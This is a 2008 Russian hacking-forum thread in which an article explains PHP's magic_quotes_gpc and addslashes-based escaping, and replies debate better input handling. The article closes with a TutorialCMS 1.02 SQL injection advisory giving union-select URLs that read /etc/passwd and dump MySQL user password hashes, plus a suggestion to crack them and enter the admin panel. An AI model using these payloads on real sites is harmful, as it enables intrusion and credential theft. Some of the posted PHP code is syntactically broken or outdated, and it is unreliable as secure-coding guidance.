Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Укрощение magic_quotes_gpc |

14.01.2008, 15:26
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Укрощение magic_quotes_gpc
Укрощение magic_quotes_gpc
[INTRO]
В настоящей статье пойдет речь об одном из конфигурационных параметров языка программирования PHP — magic_quotes_gpc. Этот параметр играет важную роль, касающуюся, прежде всего, безопасности функционирования любого веб-приложения, обрабатывающего данные, полученные от пользователя и использующего для их хранения базу данных MySQL.
[At that affect?] Параметр magic_quotes_gpc влияет на то, как будут обрабатываться специальные символы, содержащиеся в данных, передаваемых пользователем (массивы $_GET, $_POST, $_COOKIE). При magic_quotes_gpc = 1 эти спецсимволы [одиночные (') и двойные кавычки ("), обратный слеш (\), байт NULL] автоматически экранируются интерпретатором PHP (перед каждым таким символом добавляется обратный слеш). При magic_quotes_gpc = 0 все данные передаются в таком виде, в каком их ввел пользователь. В последнем случае в целях безопасности требуется обрабатывать передаваемые данные (в противном случае возможна атака SQL-injection) непосредственно в коде приложения. Для этого в PHP существует функция addslashes (выдержка из документации):
PHP код:
$str = "Is your name O'reilly?";
# выводит: Is your name O\'reilly?
echo addslashes($str);
[magic_quotes_gpc 0 or 1?] Все, вроде бы, просто. Использование в коде приложения функции addslashes в случае, если заведомо известно, что директива magic_quotes_gpc равна 0, вполне обосновано. Но что если администратор хостинга решит установить ее значение в единицу? Будет происходить двойное экранирование спецсимволов! Поэтому, функцию addslashes необходимо применять только в том случае, когда magic_quotes_gpc = 0. Получить текущее значение данного конфигурационного параметра можно при помощи стандартной функции get_magic_quotes_gpc. Таким образом, более универсальный код будет иметь следующий вид:
PHP код:
$str = "Is your name O'reilly?";
$str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str;
# выводит при любых настройках PHP: Is your name O\'reilly?
echo $str;
[Create function] Если писать каждый раз такую конструкцию, то код разрабатываемого веб-приложения становится достаточно громоздким. Гораздо эффективней использовать в начале каждого файла PHP универсальный код, осуществляющий при необходимости описанную выше обработку. Он будет иметь следующий вид:
PHP код:
function addslashes_for_array(&$arr)
{
foreach($arr as $k=>$v)
{
if (is_array($v))
{
addslashes_for_array($v);
$arr[$k] = $v;
}
else
{
$arr[$k] = addslashes($v);
}
}
}
function fix_magic_quotes_gpc()
{
if (!get_magic_quotes_gpc())
{
addslashes_for_array($_POST);
addslashes_for_array($_GET);
addslashes_for_array($_COOKIE);
}
}
# экранирует при необходииости строки в $_GET, $_POST, $_COOKIE
fix_magic_quotes_gpc();
Следует заметить, что описанный код учитывает также тот факт, что в переменных $_GET, $_POST, $_COOKIE могут передаваться не только строки, но и многомерные массивы строк.
[End of]
В ходе проведенного недавно нашей компанией исследования некоторых веб-сайтов выяснилось, что многие достаточно известные веб-разработчики не учитывают параметр magic_quotes_gpc. А жаль...
[Example]
Программа: TutorialCMS 1.02 (возможно и более ранние версии)
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «userName» сценарием activate.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
http://[target]/activate.php?userName=[SQL-inj]
Условие: magic_quotes_gpc = off (при magic_quotes_gpc= 1 код не уязвим.)
Уязвимый код:
PHP код:
...........
$userName = $_GET["userName"];
$code = $_GET["activate"];
...........
$sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";
...........
Сайт производителя: www.wavelinkmedia.com
Скачать TutorialCMS 1.02 http://www.wavelinkmedia.com/scripts/tutorialcms/
Прмеры запросов:
1. Читаем /etc/password
PHP код:
http://[target]/activate.php?userName='+union+select+1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,10,11,12,13/*
2. Читаем логины и пароли:
PHP код:
http://[target]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,10,11,12,13/**/from/**/mysql.user/*
Пароль зашифрован в MD5, расшифровываем и пробуем войти в админку:
www.controlstyle.ru, www.milw0rm.com
Последний раз редактировалось -=lebed=-; 14.01.2008 в 15:30..
|
|
|

14.01.2008, 15:33
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
Проще всего проверить gpc и если оно включено, то обработать все, убрав его.
Дальще действовать как и в случае, если админ не долбостук )
|
|
|

14.01.2008, 16:21
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Тупое добавление слешей во все параметры это бред. Каждый параметр нужно обрабатывать индивидуально в соответствии с предполагаемым типом. Например, строку перед добавлением в базу прогнать через mysql_escape_string. перед выводом в браузер порезать теги, если это нужно. а это - вырезание гланд через ж..
|
|
|

14.01.2008, 16:39
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Я так понял в статье рассматривался вариант написания независимого кода от заначения параметра magic_quotes_gpc, т.е. чтоб код одинаково работал как при magic_quotes_gpc=0, так и при magic_quotes_gpc=1. Всё это касательно получаемых данных из массивов $_GET, $_POST, $_COOKIE.
PS Цель статьи показать лишь, то что надо не забывать об этом важном параметре, так как видим скрипты пишут в надежде что magic_quotes_gpc=1, а при magic_quotes_gpc=0 скрипт уязвим...
|
|
|

14.01.2008, 16:40
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Мда..как Great сказал тут нужно к каждому параметру подходить индивидуально
PHP код:
$str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str;
Тут надо пояснить что передает параметр $str, если не фицры, то лучше использовать mysql_escape_string, а не addslashes, если же в параметры только цифры, то зачем addslsshes когда хватит intval($str)
|
|
|

15.01.2008, 08:25
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Честно говоря, пример с TutorialCMS не слишком удачный. В коде в запросе SELECT стоит выбор одной колонки - activated, в примерах запросов аж по 13 штук. /etc/passwd можно прочитать лишь сами знаете при каких привилегиях. Данные из базы можно прочесть далеко не всегда. И еще возникло впечатление, что прочитав mysql.user и расшифровав пароль, мы получим пасс на админку TutorialCMS o_O
И, кстати говоря, указанная уязвимость приводит к слепой скуле - на экран ничего не выводится - ни /etc/passwd мы не прочитаем, ни пароли из базы не выцепим.
|
|
|

15.01.2008, 09:45
|
|
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме: 12702287
Репутация:
4738
|
|
Сообщение от krypt3r
Честно говоря, пример с TutorialCMS не слишком удачный. В коде в запросе SELECT стоит выбор одной колонки - activated, в примерах запросов аж по 13 штук. /etc/passwd можно прочитать лишь сами знаете при каких привилегиях. Данные из базы можно прочесть далеко не всегда. И еще возникло впечатление, что прочитав mysql.user и расшифровав пароль, мы получим пасс на админку TutorialCMS o_O
И, кстати говоря, указанная уязвимость приводит к слепой скуле - на экран ничего не выводится - ни /etc/passwd мы не прочитаем, ни пароли из базы не выцепим.
Пример не с потолка а с milw0rm - эксплоит
Скачал эту cms, запустил на локалхосте, действительно колонка одна и вывода нет, откуда взялись такие запросы на милворме, для меня загадка...
по поводу паса на админку - он хранится в таблице users см. exploit.
Последний раз редактировалось -=lebed=-; 15.01.2008 в 11:33..
|
|
|

15.01.2008, 11:52
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
хе, наверно, скопипастили не то, что хотели на милворм 
|
|
|

16.01.2008, 10:44
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Как-то тут всё сложно...
PHP код:
function my_evil_func ($func, $arr) {
$result = array();
foreach ($arr as $key => $value)
$result[$key] = (is_array($value) ? my_evil_func($func, $value) : $func($value));
return $result;
}
Да и вообще, в большинстве случаев можно обойтись конструкцией вида:
$var = array_map('addslashes', $_REQUEST);
И как было замечено - к каждому параметру нужен индивидуальный подход, исходя из типа параметра и того, где он будет использоваться...
|
|
|

12.02.2008, 16:28
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
omg, subj...
Код:
<?php
function addslashes4array($array)
{
$result = array();
foreach ($array as $key => $value) {
if (is_array($value)) {
$result[$key] = addslashes4array(($value);
} else {
$result[$key] = addslashes($value);
}
}
return $result;
}
if (!get_magic_quotes_gpc()) {
addslashes4array($_REQUEST);
}
?>
Вообще предпочитаю делать наоборот:
Код:
<?php
function stripslashes4array($array)
{
$result = array();
foreach ($array as $key => $value) {
if (is_array($value)) {
$result[$key] = stripslashes4array(($value);
} else {
$result[$key] = stripslashes($value);
}
}
return $result;
}
if (get_magic_quotes_gpc()) {
stripslashes4array($_REQUEST);
}
?>
И потом уже отдельно фильтровать данные в нужных мне местах...
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|